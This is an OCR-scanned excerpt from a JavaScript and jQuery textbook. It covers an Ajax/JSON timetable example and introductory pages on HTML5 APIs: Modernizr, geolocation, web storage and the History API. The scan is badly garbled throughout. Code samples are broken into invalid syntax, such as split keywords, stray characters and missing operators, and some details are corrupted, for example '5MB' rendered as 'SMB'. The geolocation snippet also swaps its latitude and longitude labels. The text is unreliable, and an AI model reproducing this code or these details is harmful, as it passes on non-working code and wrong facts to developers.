
cOS/js/jq-ajax.js 

// URL to load 
// Cache selection 

// Update 1 inks 

// Remove content 


© 

d> 


©" 


$.ajax({ 

type: 11 POST" , 
url : url , 
timeout: 2000, 
beforeSend: functi on() { 

Scontent , append { 1 <di v i 1 oad M >Loadi ng</di v> ' } ; 

L 

compl ete: functi on() { 

$ { 1 #1 oadi ng 1 ) , remove ( ) ; 

h 


// GET or POST 
// Path to f i le 
// Waiting time 
// Before Ajax 
// Load message 

// Once finished 
// Clear message 


success: function(data) { 


// Show content 


Scontent.html ( $ (data) . fi nd( ^container 1 ) ) . hi de ( ) *fadeXn{400) ; 


}. 

fail: functionO { // Show error msg 

$( '#panel 1 } .html ('<di v class =1, loading n >Please try again soon.</div> T ) ; 



}); 
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EXAMPLE 

AJAX & JSON 


This example shows information about three 
events. The data used comes from three 
different sources. 

1) When the page loads, event locations are coded 
into the HTML. Users dick on an event in the left-hand 
column; it updates the timetable in the middle column. 

In the left column, the links have an id attribute whose value is a two- 
letter identifier for the state the event is in: 

<a id="tx u bref s,1 tx.html ll >* . . Austin, TX</a> 

2) The timetables are stored in a JSON object, in an 
external file collected when the DOM has loaded. 
When users dick on a session in the middle column, its 
description is shown in the right-hand column. 


In the middle column showing timetables, the title of each session is 
used inside a link that will show the description for the session. 

<a href="descri pti ons ♦ html #Ci rcuit-Hacki ng IL > 

Circuit Hacking</a> 


3) Descriptions of all sessions are stored in one HTML 
file. Individual descriptions are selected using jQuery's 
. 1 oad ( ) method (and the # selector shown on p390). 

In the right column, the session description is taken from an HTML file. 

Each session is stored in an element whose i d attribute contains the title 
of the session (with spaces replaced by dashes). 

<di v id=" Intro-to-3D-Model i ng"> 

<li3>lntro to 3D Model ing</h3> 

<p>Come learn how to create 30 models of 
</div> 

Because links are added and removed, event delegation is used. 
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EXAMPLE 

AJAX & JSON 


This example uses data from three separate 
sources to demonstrate Ajax techniques. 


In the left-hand column you can 
see three locations for an event. 
These are written into the HTML 
for the timetable page. Each one 
is a link. 


1. Clicking on an event loads the 
session times for that event. 

They are stored in a file called 
example .json, which is collected 
when the DOM has loaded. 


2. Clicking on a session will load 
its description. They are stored 
in descriptions, html, which is 
loaded when a user clicks on a 
session title. 


THE MAKER BUS 


HOME ROUTE TOYS TIMETABLE 


Roll up! Roll up! Its the maker bus 



© 

9:00 Arrtuino Antics 
10:00 BrainHacking 
n: 3 o Intro to 3 D Mod eli ng 
1:00 The Printed Lunch 
2:oo Droning On 
3:oo Circuit Hacking 
4:30 Make The Future 


© 

Ard uino Antics 

Learn how to program a nd use an 
ArduinolThis easy-to-team open source 
microcontroller board takes all sorts of 
sensor inputs, follows user-generated 
programs, and outputs data and power. 
Arduinos are commonly used in 
robotics, mechatronics, and all manners 
of electronics projects around the world. 
Taught by Elsie Denney, professional 
software developer with a long previous 
career as a technical artist in the video 
game industry, electronics enthusiast 
and instructor. 
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EXAMPLE 

AJAX & JSON 


HTML 


c08/example,html 


<body> 

<header> 

<hl>THE MAKER BUS</hl> 

<nav> 

<a href ="jq-l oad.html ">H0ME</a> 

<a href=" jq-1oad2.html ">R0UTE</a> 

<a href =" jq-load3.html ">T0YS</a> 

<a href="exampl e.html " cl ass="current">TIMETABLE</a> 

</nav> 

</header> 

<sectior\ id= n content"> 

<div id="container"> 

<div class="thi rd"> 

<div id="event"> 

<a id="ca’' href="ca.html "> 

<img src^'img/Tnap-ca.png 11 alt =, 'SF, CA" />San Francisco, CA</a> 
<a id= !l tx" href s "tx.html"> 

<img src="img/map-tx.png" alt="Austin, TX" />Austin, TX</a> 

<a id="ny" href="ny.html "> 

<img src^'img/map-ny.png 1 ' alt=' T New York, MY" />New York, MY</a> 
</div> 

</div> 

<div cl ass="thi rd"> 

<d i v id="sessions">Select an event from the left</div> 

</di v> 

<div cl ass="thi rd"> 

<div id="details>Details</div> 

</di v> 

</div><!-- #container — > 

</section><!-- #content 


<scri pt src^'js/j query- 1 . 11 . O.min. js"></scri pt> 
<script src=''j s/example. js"></scri pt> 

</body> 


Here you can see the HTML page. It has a header, 
followed by three columns. Two scripts appear 
before the dosing </body> tag. 


Left column: list of the events 
Middle column: timetable of the sessions 
Right column: description of the sessions 
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EXAMPLE 

AJAX & JSON 

cNN/da t a /ex amp 1 e . j son 

{ 

"CA": [ 


time": 

"09.00", 


title" : 

"Intro to 

3D Modeling 

time" : 

"10.00", 


title": 

"Ci rcuit 

Hacking" 

time": 

"11.30", 


title": 

"Arduino 

Anti cs" 


JAVASCRIPT 


c08/descri ptions . html 

<di v id^lntro-to-SD-Model i n g 11 > 

<h3>Intro to 3D Model i rtg</h3> 

<p>Come learn how to create 3D models of parts you can then make,.*</p> 

</div> 

<div fd^'Circuit-Hacking 1 ^ 

<h3>Circuit Hacking</h3> 

<p>Head to the Electro-Tent for a free introductory soldering, * .</p> 
</div> 

<div id= tl Ardufno-Antics ,l > 

<h3>Arduino Antics</h3> 

<p>learn how to program and use an Arduino! This easy-to-learn*. ,</p> 
</di v> 


HTML 


When the script is run, the loadTimetabl e () function 
loads the timetables for ali three events from a file 
formatted using JSON, stored in exampl e Json. 

The data is cached in a variable called times. 


Events are identified by a two- letter code for the 
state. You can see a sample of the JSON-formatted 
data above and a sample of the HTML that will be 
created using that data. 
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EXAMPLE 

AJAX & JSON 


JAVASCRIPT 


cOS/js/example-js 


© $(function() { 


(D 


d> 


var times; 

$.ajax({ 

beforeSend: function(xhr) { 
if {xhr.overrideMimeType) { 


// When the DOM is ready 

// Declare global variable 
// Setup request 
// Before requesting data 
// If supported 


xhr.ovemdeMimeType{"app! icati on/json") ; // set MIME to prevent errors 


} 


}); 


® 

d> 

©" 


// FUNCTION THAT COLLECTS DATA FROM THE JSON FILE 
function loadTimetabl e() j 
$. get JSON { 'data/exampl e. json' ) 

.done( function(data) { 
times = data; 

}).fail{ function() { 


// Declare function 
// Try to collect JSON data 
// If successful 
// Store it in a variable 
// If a problem: show message 
$(' #event ') .html { 'Sorry ! We could not load the timetable at the moment'); 


} 


}); 


© loadTimetable() ; 


// Call the function 


1. The script that does all the work is in example, js. 
It runs when the DOM has loaded. 

2. The times variable will be used to store the 
session timetables for all of the events. 

3. Before the browser requests the JSON data, 
the script checks if the browser supports the 
overrideMimeType() method. This is used to 
indicate that the response from the server should be 
treated as JSON data. This method can be used in 
case the server is accidentally set up to indicate that 
the data being returned is in any other format. 


4. Next you can see a function called 

1 oadTimetabl e(), which is used to load the 
timetable data from a file called example, json. 

5. If the data loads successfully, the data for the 
timetables will be stored in a variable called times. 

6. If it fails to load, an error message will be shown 
to the users. 

7. The 1 oadTimetabl e() function is then called to 
load the data. 
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EXAMPLE 

AJAX & JSON 


cOS/js/exantple.js 


JAVASCRIPT 


© 

® 

© 

© 

© 

® 


© 


// CLICK OM THE EVENT TO LOAD A TIMETABLE 

$ ( ’#content' ) .on( 1 cl i ck 1 s '#event a', function(e) { // User clicks on place 


e.preventDefaultO i 

var loc = this Jd. toUpperCaseQ ; 


// Prevent loading page 
// Get value of id attr 


// To build up timetable 
// loop through sessions 


var newContent = 1 * ; 

for (var i = 0; i < times [1 oc] , length; i++} { 
newContent +- '<li><span class®" time"^ + times [1 oc] [i] , time + t </span>'; 
newContent += '<a href="descriptions.html #* ; 
newContent times [loc] [i] •title. replace(/ /g* '-') + MJ >'; 
newContent +- times [loc] [i] * title + 1 </a></li> 1 ; 

1 

$( 'Isessions' ) .html ( , <ul> 1 + newContent + t </ul> 1 ); // Display time 

// Update selected link 


$( '#event a. current 1 ) , removed ass( 1 current' } ; 
${ this) .addCl ass {'current ') ; 

${ '#detai 1 s' } .text( 1 1 ) ; 

}); 


// Clear third column 


1 A j Query event helper method waits for users 
to dick on the name of an event. It will load the 
timetable for that event into the middle column. 

2. The preventDef aul t { ) method prevents the link 
from opening a page {because it is will show the 
AJAX data instead). 

3. A variable called l oc is created to hold the name 
of the event location. It is collected from the id 
attribute of the link that was clicked. 

4. The HTML for the timetables will be stored in a 
variable called newContent. It is set to a blank string. 

5. Each session is stored inside an <1 i> element, 
which starts by displaying the time of the session. 


6 + A link is added to the timetable, which wifi be 
used to load the description. The link points to the 
descriptions >html file. It is followed by a # symbol 
so it links to the correct part of the page. 

7. The session title is added after the # symbol. 

The ■ replaced method replaces spaces in the title 
with a dash to match the value of the id attribute in 
the descriptionsphtml file for each session. 

8. Inside the link you can see the title of the session. 

9. The new content is added into the middle column, 

10. The cl ass attributes on the event links are 
updated to shows which event is the current event. 

11 The third column is emptied if it had content. 
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EXAMPLE 

AJAX & JSON 


JAVASCRIPT 


c 08 /j s/examp le.js 


© 

© 

© 

© 

© 



// CLICK ON A SESSION TO LOAD THE DESCRIPTION 
$( ’^content' ) .on{ 'cl i c k ' , 'tfsessions li a', function(e) 
e.preventDefaul t() ; 
var fragment = this. href; 

fragment = fragment. rep 1 ace( 1 #' , ' #'); 

$( ' #detai Is') . load (fragment) ; 

${ '#sessions a. current ' ) .removed ass ( 'current ' ) ; 
$(this) .addClass( 'current') ; 

}); 


( // dick on session 
// Prevent loading 
// Title is in href 

// Add space after# 
// To load info 

// Update selected 


// CLICK ON PRIMARY NAVIGATION 
$('nav a') . on ( * cl i ck ' , function(e) { 
e.preventDefaultQ ; 
var url = this. href; 


©- 


$ ( 1 m a v a.current ] ) .removed ass ('current') ; 
$ (thi s) .adddass ( ' current “ ) ; 


// Click on nav 
// Prevent loading 
// Get URL to load 

// Update nav 


$( ' ^container “ ) . remove (} ; // Remove old 

$(' ^content ') .load (url + ' #container J ) ,hide() .fadeIn{'slow‘) ; jj Add new 

L }); 


))i 


1. Another jQuery event helper method is set up 
to respond when a user dicks on a session in the 
middle column. It loads a description of the session. 

2. preventOefaul t () stops the link opening. 

3. A variable called fragment is created to hold the 
link to the session. This is collected from the href 
attribute of the link that was clicked, 

4. A space is added before the # symbol so that it is 
the correct format for the jQuery 1 oad ( ) method to 
collect part (not all) of the HTML page, e,g. f 
description.html #Arduino-Antics 


5. A jQuery selector is used to find the element 
whose id attribute has a value of details in the third 
column The Joad() method is then used to load 
the session description into that element. 

6. The links are updated so that they highlight the 
appropriate session in the middle column. 

7. The main navigation is set up as shown on p39t 
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SUMMARY 

AJAX & JSON 


Ajax refers to a group of technologies that allow you to 
update just one part of the page (rather than reload a 
whole page). 



You can incorporate HTML, XML, or JSON data into 
your pages. (JSON is becoming increasingly popular.) 

o load JSON from a different domain, you can use 
JSONP but only if the code is from a trusted source. 



jQuery has methods that make it easier to use Ajax. 

.load() is the simplest way to load HTML into your 
pages and allows you to update just a part of the page. 

. ajax() is more powerful and more complex. (Several 
shorthand methods are also offered.) 

It is important to consider how the site will work if the 
user does not have JavaScript enabled, or if the page is 
not able to access the data from a server. 
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APIS 



User interfaces allow humans to interact with programs. 
Application Programming Interfaces (APIs) let programs 
(including scripts) talk to each other. 


Browser, scripts, websites, and other applications frequently open up some of their 
functionality so that programmers can interact with them. For example; 


BROWSERS 

The DOM is an API. It allows 
scripts to access and update 
the contents of a web page 
while loaded in the browser 
In this chapter you will meet 
some HTML5 JavaScript 
APIs that provide access to 
other browser features, 


SCRIPTS 

jQuery is a JavaScript file 
with an API it allows you to 
select elements, then use 
its methods to work with 
those elements. It is just one 
of many scripts that let you 
to perform powerful tasks 
using their code. 


PLATFORMS 

Sites such as Ratebook, 
Google, and Twitter open up 
their platforms so that you 
can access and update data 
they store (via websites and 
apps). Jn this chapter you 
see how Google lets you to 
add their maps to your sites. 


You do not need to know how the other script or program achieves its task; you only need 
to know what it does, how to ask it to do something, and how to understand its replies. 
Therefore, this chapter will familiarize you with the form in which APIs are described. 
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PLAYING NICELY 
WITH OTHERS 


You do not always need to know how a script or program works, as long 
you know how to ask it to do something, and how to process its response. 
The questions you can ask and the format of the answers form the API. 


WHAT THE API CAN DO 

If there is a script or program 
that offers functionality you 
need, consider using it rather 
than writing something from 
scratch. 

Because each script, program, or 
platform has different features, 
the first thing you need to do is 
understand what the API allows 
you to do, For example: 

• The DOM and jQuery APIs 
allow you to access and 
update a web page that is 
loaded in the browser and 
respond to events. 

• Facebook, Google+, and 
Twitter APIs Jet you to access 
and update profiles and 
create status updates on their 
platforms. 

When you know what the API 
allows you to do, you can decide 
if It is the right tool for the job. 


HOW TO ACCESS IT 

Next you need to know how to 
access the functionality of the 
API in order to use it. 

The DOM's functionality Is built 
into the JavaScript interpreter in 
the browser 

With jQuery you need to include 
the jQuery script from your 
server or a CDN in your pages, 

Facebook, Google+, Twitter, and 
other sites provide various ways 
to access the functionality of 
their platforms using APIs. 


THE SYNTAX 

Finally, you need to learn how to 
ask the API to do something and 
the format in which you should 
expect any replies. 

As long as you know how to 
call a function, create an object, 
and access the properties and 
methods of an object, you witl be 
able to use any JavaScript API. 

This chapter introduces you to 
a range of APIs so you gain the 
confidence to learn more about 
them and other APIs. 
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HTML5 JAVASCRIPT APIS 


First, we will look at some of the new HTML5 APIs. 

Along with the markup in the HTML5 specification, a set of APIs define 
that describe how to interact with features of web browsers. 


WHY HTML5 HAS APIS 

As technologies evolve, so does 
the browsing experience. For 
example, smartphones may 
have smaller screens and less 
power than the latest desktop 
computers; but they include 
features that are rarely found 
on desktop machines such as 
accelerometers and GPS, 

The HTML5 specification has 
not only added new markup, 
but also includes a new set of 
JavaScript APIs that standardize 
how you can make use of these 
new features in any device that 
implements them. 


WHAT THEY COVER 

Each of the HTM L5 APIs focuses 
on one or more objects that 
browsers implement to deliver 
specific functionality. 

For example, the geolocation API 
describes a geolocati on object 
that lets you ask users for their 
location and two objects that 
handle the browsers response. 

There are also APIs that offer 
improvements over existing 
functionality. For example, the 
web storage API lets you store 
information within the browser 
without relying on cookies. 


WHAT YOU'LL LEARN 

There is not space for an 
exhaustive reference of each of 
the HTML5 APIs (there have 
been whole books dedicated to 
these new HTML5 features). 

But you will meet three of the 
APIs and see examples of how to 
work with them. 

This should get you used to using 
the HTML5 APIs so that you can 
then go on and learn more about 
them as you need them. You will 
also learn how you can test to 
see whether or not a browser 
supports the functionality in any 
of the APIs, 


API 

DESCRIPTION 


geolocation 

How to tell where the user is located 

p418 

local Storage 
sessf onStorage 

Store information in the browser (even when user closes tab/window) 

Store information in the browser while a tab/window is open 

p420 

history 

How to access items from the browser's history 

p424 
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FEATURE DETECTION 


When you write code that uses the HTML5 APIs (or any other new 
feature in a web browser), you may need to check if the browser supports 
that feature before your code tries to use it. 


The HTML5 APIs describe objects that browsers use 
to implement new functionality. For example, you 
are about to meet an object called the geolocation 
object that Is used to determine a user's location. 
However, this object Is only supported in modern 
browsers, so you need to check whether a browser 
supports this it before trying to use the object. 


It is possible to check whether a browser supports 
an object using a conditional statement. 

If the browser supports the object, then the 
condition will return a truthy value and the first set 
of statements are run. If it is not implemented, the 
second set of statements is run. 


? 


Is 

navi gator * geol ocati on 
supported? 



Run statements that do Run statements that 

not use geolocation use geolocation 


if (navi gat or .geolocation) { 

// Returns truthy so it is supported 
// Run statements in this code block 
} else { 

// Not supported / turned off 
// Or user rejected request 

} 


You may not be surprised to hear that there are 
some cross-browser issues with feature detection. 

For example, in the case of the code above, there 
was a bug in IE9 which could result in a memory leak 
when you check for the geolocation object. This 
could slow down your pages. 


Luckily, there is a library called Modernize which 
takes away the hassles of cross-browser issues (like 
jQuery for feature detection). It is a better way to 
check if the browser supports recent features. 

The script is regularly updated and refined to deal 
with cross-browser issues as they are discovered, so 
they are less likely to affect you. 
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MODERNIZR 


Modernizr is a script you can use in your pages to tell whether the 
browser supports features of HTML, CSS, and JavaScript. 

It will be used in the coming HTML5 API examples. 


HOW TO GET MODERNIZR 

First you need to download the script from the 

Modernizr.com website, where you will see: 

• A development version of the script. 

It is uncompressed and features every check that 
the script is capable of performing. 

• A tool (see screenshot below) that lets you select 
which features you want to test for. 

You can then download a custom version of the 
script that only contains the checks you need. 

On a live site, you should not test for features that 
you do not use as it would slow your site down, 

In our examples, Modernizr is used near the end 
of the page just before the script that uses it. But 
you may see Modernizr included in the <head> of 
an HTML page (if the content of the page is uses 
features that you are testing for). 
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HOW MODERNIZR WORKS 

When you include the Modernizr script in your page, 
it adds an object called Modernizr, which tests 
whether the browser supports the features that you 
specified that it should test for Each feature you 
want it to test becomes a property of the Moderni zr 
object. Their values are a Boolean (true or fal se) 
that tel! you if a feature is supported. 

You can use Modernizr as a condition like this: 

If Moderni zr's geolocation property returns true 
run the code in the curly braces: 

if (Modernizr, geolocation) { 

// Geolocation is supported 

) 


MODERNIZR PROPERTIES 

In the screenshot on the left, you can see some of 
the features that Modernizr can check for. To see a 
full list of Modernizes properties, visit: 
modernizr.github.io/Modernizr/test/index.html 
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GEOLOCATION API: 
FINDING USERS' 
LOCATIONS 


An increasing number of sites offer extra functionality to users who 
disclose their location. The users' location can be requested using the 
geolocation API. 


WHAT THE GEOLOCATION API DOES 

Browsers that implement the geofocation API 
let users share their location with websites. The 
location data is provided in the form of longitude 
and latitude points. There are several ways for 
the browser to determine its location, including 
using data from its IP address, wireless network 
connection, cell towers, or GPS hardware. 

In some devices, the geolocation API can give you 
more data along with longitude and latitude. But we 
focus on these features because they have the most 
support. Having seen how to use them, if you need 
to work with the other features, you will be able to. 


HOW TO ACCESS GEOLOCATION 

The geolocation API is available by default in any 
browser that supports it (just like the DOM is). 

It was first supported in IE9, Firefox 3.5, Safari 5, 
Chrome 5, Opera 10.6, IGS3, and Android 2, 

Browsers that support geolocation allow users to 
turn the feature on and off. If it is on, the browser 
will ask users if they want to share data for each 
individual web site that requests that information. 

The way in which the browser asks the user if they 
will share location data differs from one browser to 
the next and one device to the next. 


CHROME ON MAC 

javascriptbook.com wants to use your computer's location. Learn more j Deny I [ Allow J * 


"httpiZ/javascriptbook-com” 
Would Like To Use Your 
Current Location 



Would you like to share your location with 
javascriptbook.com? 

Learn More... 


K 


Don't Allow OK 

IOS ON IPHONE 


Share Location 


FtREFOX ON PC 
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REQUESTING A USER'S LOCATION 


PROCESSING THE RESPONSE 


<1 



Is 

navi gator .geolocation 
supported? 



Run statements that do Call method: 

not use geolocation navigator. geolocation 

.getCurrentPositionO 


c 


When the browser responds, 
there are two possible outcomes: 


getCu rrent Post t ion {) 

did not get a location 

f 

Call function: 
fail () 

Returns object: 
PositionError 


getCurrentPositionC) 
got a location 

V 

* 

Call function: 
successO 
Returns objects: 

Position and 
Position, coords 


The geolocation API relies on an object called 
geolocation. If you want to try and make use of the 
user's location, first you need to check if the browser 
supports this object. This example will use the 
Modernizr script is used to perform this check, 

1. A conditional statement Is used to check whether 
the browser supports geolocation, 

2. Jf geolocation is supported, the browser returns a 
truthy value and the first set of statements run. They 
request the user's location using the geol ocati on 
objects getCurrentPosi ti on()method. 

3. If geotocatlon is not supported, then a second set 
of statements is run. 

if (Modernizr, geoiocati on) { 

// Returns truthy so it is supported 
// Run statements in this code block 
} else { 

// Not supported / turned off 
// Or user rejected request 

} 


Once you call the getCurrentPosi ti on () method, 
the code continues onto the next line because it is 
an asynchronous request (like the Ajax calls in the 
last chapter). The request is asynchronous because 
the browser will take a while to determine the user's 
locatio'n (and you do not want the rest of the page to 
stop loading while the browser works out where the 
user is). Therefore, the method has two parameters: 
getCurrentPosi tion(success 5 foil) 

success is the name of a function to call if the 
longitude and latitude are successfully returned. This 
method will automatically be passed an object called 
pos i ti on, which holds the user's location. 

foi Z is the name of a function called if the details 
cannot be obtained. This method will automatically 
be passed an object called Posi ti onError 
containing details about the error. 

So in all, there are three new objects you need 
to use in order to work with the geotocatlon API : 
geolocation, position, and PositionError, 

Their syntax is shown on the next page, 
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THE GEOLOCATION API 


There are three objects involved in adding geolocation to your web page. ' 
The tables demonstrate how API documentation typically describes the 
objects, properties, and the methods you can use. 

geolocation object 

The geolocation object is used to request location data. It is a child of the navi gator object. 


METHOD 

RETURNS 

getCurrentPosi tlon {success , fai l ) 

Requests the position of the user and, ff the user permits, returns the 
user's latitude / longitude plus other location information 
success is the name of a function to call if coordinates are retrieved 
fail is the name of a function to call if coordinates are not returned 


Position OBJECT 



i 

If a user’s location is found, a Position object is sent to the callback function. It has a child object called coords 
whose properties hold the user's location. If a device supports geolocation, it must provide a minimum amount 
of data (see the required column); other properties are optional (they may depend on the device's capabilities), 

■* 

PROPERTY 

RETURNS 

REQUIRED 


Pos i t i on . coords . 1 at i t ude 

Latitude in decimal degrees 

Yes 


Posit ion.coords .longitude 

Longitude in decimal degrees 

Yes 


Posit ion * coords* accuracy 

Accuracy of latitude and longitude in meters 

Yes 


Position. coords . a 1 1 i t ude 

Meters above sea level 

Yes (value can be null) 


Pos i t i on . coords . al ti t udeAccu racy 

Accuracy of altitude in meters 

Yes (value can be null) 


Pos i t i on . coords . head i ng 

Degrees clockwise from north 

No (up to device) 

-7 

Posi ti on. coords . speed 

Speed traveling In meters per second 

No (up to device) 

1 

Post ti on. coords .timestamp 

Time since created (formatted as Date object) 

No (up to device) 


Post tionError OBJECT 




If location is not determined, the callback function is passed the Posi ti onError object. 



PROPERTY 

RETURNS 

REQUIRED 


Posi ti onError. code 

An error number with the following values: 

1 Permission denied 2 Unavailable 3 Timeout 

Yes 


Posi ti onError. message 

A message (not intended for the end user) 

Yes 
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WORKING WITH LOCATION 


1, In this example, Mocfernizr checks if geoiocation Is 
supported by the browser and enabled by the user. 

2, When getCurrentPosi tion() Is called, the user 
will be asked for permission to share their location. 

3, If the location is gained, the users latitude and 
longitude are written into the page. 


4. If It is not supported, then the user will see a 
message that shows their location could not be 
found. 

5. If the location is not gained (for any reason), again 
the message will say that a location cannot be found. 
The error code is logged to the browser console. 


JAVASCRIPT 


c09/j5/geolocation. js 


var elMap = document. get El ementById{ ' 1 oc ') ; 

var msg = 'Sorry, we were unable to get your location.'; 

(?) if (Modernizr. geolocation) { 

© navigator. geoiocation. getCurrentPo$ition(success, fail); 
elMap. textContent = 'Checking location..,'; 

} else { 

© el Map. textContent = msg; 

} 


// HTML element 
// No location msg 

// Is geo supported 
// Ask for location 
// Say checking. . . 
// Not supported 
// Add manual entry 


function success (position) { 
msg = '<h3>Longi tude:<br>' ; 
msg += position. coords. latitude + '</h3>' 
d)- msg += '<h3 > Latitude:<br>' ; 

msg += position. coords. longitude + '</h3- 
elMap.innerHTML = msg; 

L) 


// Got location 
// Create message 
// Add latitude 
// Create message 
// Add longitude 
// Show location 


d> 


function fail (msg) { 
elMap. textContent - msg; 
consol e Jog (msg. code) ; 


// Not got location 
// Show text input 
// Log the error 


HTML 


<scri pt sre^js /geoiocation, js ,J ></script> 


c09/geol ocati on . html 


If you are unable to see a result on a desktop browser, try the example on a smart phone. 

You can try all examples directly from the website for the book, http ;//www. javascriptbook.com/. 
To support older browsers, search fora script called geoPosition. js 
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WEB STORAGE API: 
STORING DATA IN 
BROWSERS 

Web storage (or HTML5 storage) lets you store data in the browser. 
There are two different types of storage: local and session storage. 


HOW TO ACCESS THE STORAGE API 


Before HTML5, cookies were the main mechanism 
for storing information in the browser. But cookies 
have several limitations, most notably they are: 

* Not able to hold much data. 

» Sent to the server every time you request a page 
from that domain. 

• Not considered secure. 

Therefore, HTML5 introduced a storage object. 
There are two different flavors of the storage object 
local Storage and sessionStorage. Both use the 
same methods and properties. The differences are 
how long the data is stored for and whether ail tabs 
can access the data that is being stored. 


STORAGE 


LOCAL 


SESSION 


Is the data stored when you 
close a window/tab? 


Can all open windows/tabs 
access the data? 


Commonly, browsers store SMB of data per domain 
in a storage object. If a site tries to store more than 
5mb of data, the browser will usually ask the user 
whether they want to allow this site to store more 
information (never rely on users agreeing to give a 
site more space). 


The data is stored as properties of the storage 
objects (using in key/value pairs). The value in the 
pair is always a string. To protect the information that 
a website stores in these storage objects, browsers 
employ a same origin policy, which means data can 
only be accessed by other pages in the same domain. 

http://www.gooq! e.com:80 

ClH(D 1 — (D — ’© 

These four parts of the URL must match: 

]. Protocol: The protocol must be a match. If data 
was stored by a page that starts http, the storage 
object cannot be accessed via https. 

2. Subdomain: The subdomain name must match. 

For example, maps, google, com cannot access 
data stored by www.google.com, 

3. Domain: The domain name must match. 

For example, google.com cannot access local 
storage from facebook.com. 

4. Port: The port number must match. Web servers 
can have many ports. Usually a port number is not 
specified in a URL, and the site uses port 80 for 
web pages, but the port number con be changed. 

The storage objects are just one of the new HTML5 
APIs for storing data. Others Include access to the 
file system {through the FileSystem API) and client 
side databases such as the Web SQL database. 
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HOW TO ACCESS THE STORAGE API 


Both of these objects are implemented on the 
wi ndow object, so you do not need to prefix the 
method names with any other object name. 

To save an item into the storage object, you use the 
setltem() method, which takes two parameters: the 
name of the key and the value associated with it. 

To retrieve a value from the storage object you use 
the gell tern ( ) method, passing it the key. 

// Store information 

local Storage. setltem{ 'age 1 , 4 12 1 ) ; 
local Storage, setltemt* col or' f 'blue' } ; 

// Access information and store in variable 
var age - local Storage, get I tem( 'age' ); 
var color = localStorage.getltemOcolor' } ; 

// Number of items stored 
var Items = local Storage. length; 


You can also set and retrieve keys and values of the 
storage objects as you might with other objects 
using dot notation. 

The storage objects are commonly used to store 
JSON-formatted data. The J50N object's: 

* parse () method is used to turn the JSON- 
formatted data into a JavaScript object 

• stringify() method is used to transform 
objects into JSON-formatted strings 

// Store information (object notation) 
local Storage* age = 12; 
local Storage. col or = ‘blue*; 

// Access information (object notation) 
var age = local Storage. age; 
var color * l ocal Storage. col or; 

// Number of items stored 
var items = local Storage. length; 


Data for the storage objects is stored and accessed 
in a synchronous manner: all other processing 
stops while the script accesses or saves the data. 
Therefore, if a lot of data is regularly accessed or 
stored, the site can appear slower to use. 


Below, you can see a table that shows the methods 
and property of the storage objects. This table is 
very similar to the one you saw for the geolocation 
API and is indicative of the types of tables you see In 
documentation for APIs. 


METHOD 

DESCRIPTION 

set I fern (key, value) 

Creates a new key/value pair 

get I tern (key) 

Gets the value for the specified key 

remove Item (key) 

Removes the key/value pair for the specified key 

clearQ 

Clears all information from that storage object 

PROPERTY 

DESCRIPTION 

length 

Number of keys 
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LOCAL STORAGE 


The examples on this page and the right-hand page 
store what the user enters into text boxes, but both 
examples store it for different lengths of time 

1, A conditional statement is used to check if the 
browser supports the relevant storage API. 

2, References to the inputs for the username and 
answer are stored in variables. 

e09/js/1ocal -storage, js 


3, The script checks to see if the storage object 
has a value for either of these elements using 
the getltem() method. If so, it is written into the 
appropriate input by updating its val ue property, 
A. Each time an input event fires on one of 
the inputs, the form will save the data to the 
local Storage or sessions torage object. It will 
automatically be shown if you refresh the page. 


JAVASCRIPT 


©if (window .local storage) ( 



var txtUsername - document .getEI ementByldf ' username' ) ;// Get form elements 
var txtAnswer » document. getElementById( 'answer' ) ; 


<£> 


txtUsername. value = local Storage. getltem{ 'username' ) ; // Elements populated 
txtAnswer. val ue = local Storage. getltem( 1 answer ') ; // by local Storage data 

txtUsername, addEventListener{’input' , function () { // Data saved 

localStorage.setItem( 'username' , txtUsername. value) ; 

}, false); 

txtAnswer. addEventLi stener{ 'input* , function () { // Data saved 

1 ocal Storage. setltem( ' answer' , txtAnswer. value) ; ■ 

}, false) ; 


c09/l ocal -storage. htrrl (The only difference in sessi on-storage.html is the link to the script.) 


HTML 


<div class="two-thi rds"> 

<form 1 d= M appl ication" action="apply , pbp”> 

<1 abel for- " username ">Mame</l abel> 

<input type="text" id="username" name-" username 11 /><br> 
<1 abel for* 11 answer" >Answer</l abel > 

<textarea i d=" answer" name="answer' t ></textarea> 

<1nput type“"submi t' f /> 

</form> 

</di v> 

<script src="j s/1 ocal -storage. js"></script> 
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SESSION STORAGE 


sessionStorage is more suited to information that: 

• Changes frequently (each time the user visits 
the site - such as whether they are logged in or 
location data), 

* Is personal and should not be viewed by other 
users of the device. 


local Storage is best suited to information that: 

• Only changes at set intervals (such as timetables 
/ price lists), which can be helpful to store offline, 

• The user might want to come back and use again 
(such as saving preferences / settings). 


JAVASCRIPT 


© if (window. sessionstorage) ( 


cQ9/j s/session- storage. js 



var txtUsername = document. getEl ementByld (' username 1 ) ; 
var txtAnswer = document. getEl ementByld ( 1 answer 1 ) *, 


// Get form elements 



txtUsername. value = sessionstorage. getltemf ' username ‘ ) ; // Elements populated 
txtAnswer. value = sessionstorage. getltem( ' answer' ) ; // by sessionstorage 

txtUsername. addEventLi stener( ' input ' , function () { // Save data 

sessionstorage. setltem( ' username' , txtUsername. val ue) ; 

}, false); 

txtAnswer. addEventLi stener( ' i nput ‘ , function () { // Save data 

sessionstorage. set Item ( ' answer' , txtAnswer. value) ; 

}, false); 


RESULT 


What would you like to make? 



Name 


Answer 


Submit 
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HISTORY API 
& PUSHSTATE 


If you move from one page to another, the browser's history remembers 
which pages you visited. But Ajax applications do not load new pages, 
so they can use the hi story API to update the location bar and history. 


WHAT THE HISTORY API DOES 

Each tab or window in the browser keeps its own 
history of pages you have viewed. When you visit a 
new page in that tab or window, the URL is added to 
the fist of pages you have visited in the history. 

Because of this, you can use the back and forward 
buttons in a browser to move between pages you 
have visited in that tab or window. However, on sites 
that use Ajax to load information, the URL is not 
automatically updated (and the back button might 
not show the last thing that the user was viewing). 

FIRST LINK: SECOND LINK: 

one.html two.html 

OWE TWO THREE ONE TWO THREE 


HTMLS's history API can help fix this problem. It lets 
you interact with the browser's hi story object: 

* You can update the browser history stack using 
the pushState() and repl aceState() methods, 

* Extra information can be stored with each item. 

As you will see, information can be added to the 
hi story object when an Ajax request is made, and 
the user can be shown the right content when they 
press back or forward buttons. 

THIRD LINK: BACK BUTTON: 

three.htm! O two.html 

ONE TWO THREE OWE TWO THREE 


The first page you visit is 
added to history stack 

one,htm1 


Click a link: that page goes 
to the top of history stack 

two.html 

one.html 


Click a link: that page goes 
to the top of history stack 

three.html 

two.html 

one.html 


Pressing back takes you 
down the history stack 


three.html 


two.html 

one.html 


Browsing pages: 

As you browse, the URL in your web browser's 
address bar updates. The page is also added to the 
top of something called the history stack. 


Pressing back: takes you back down the stack 
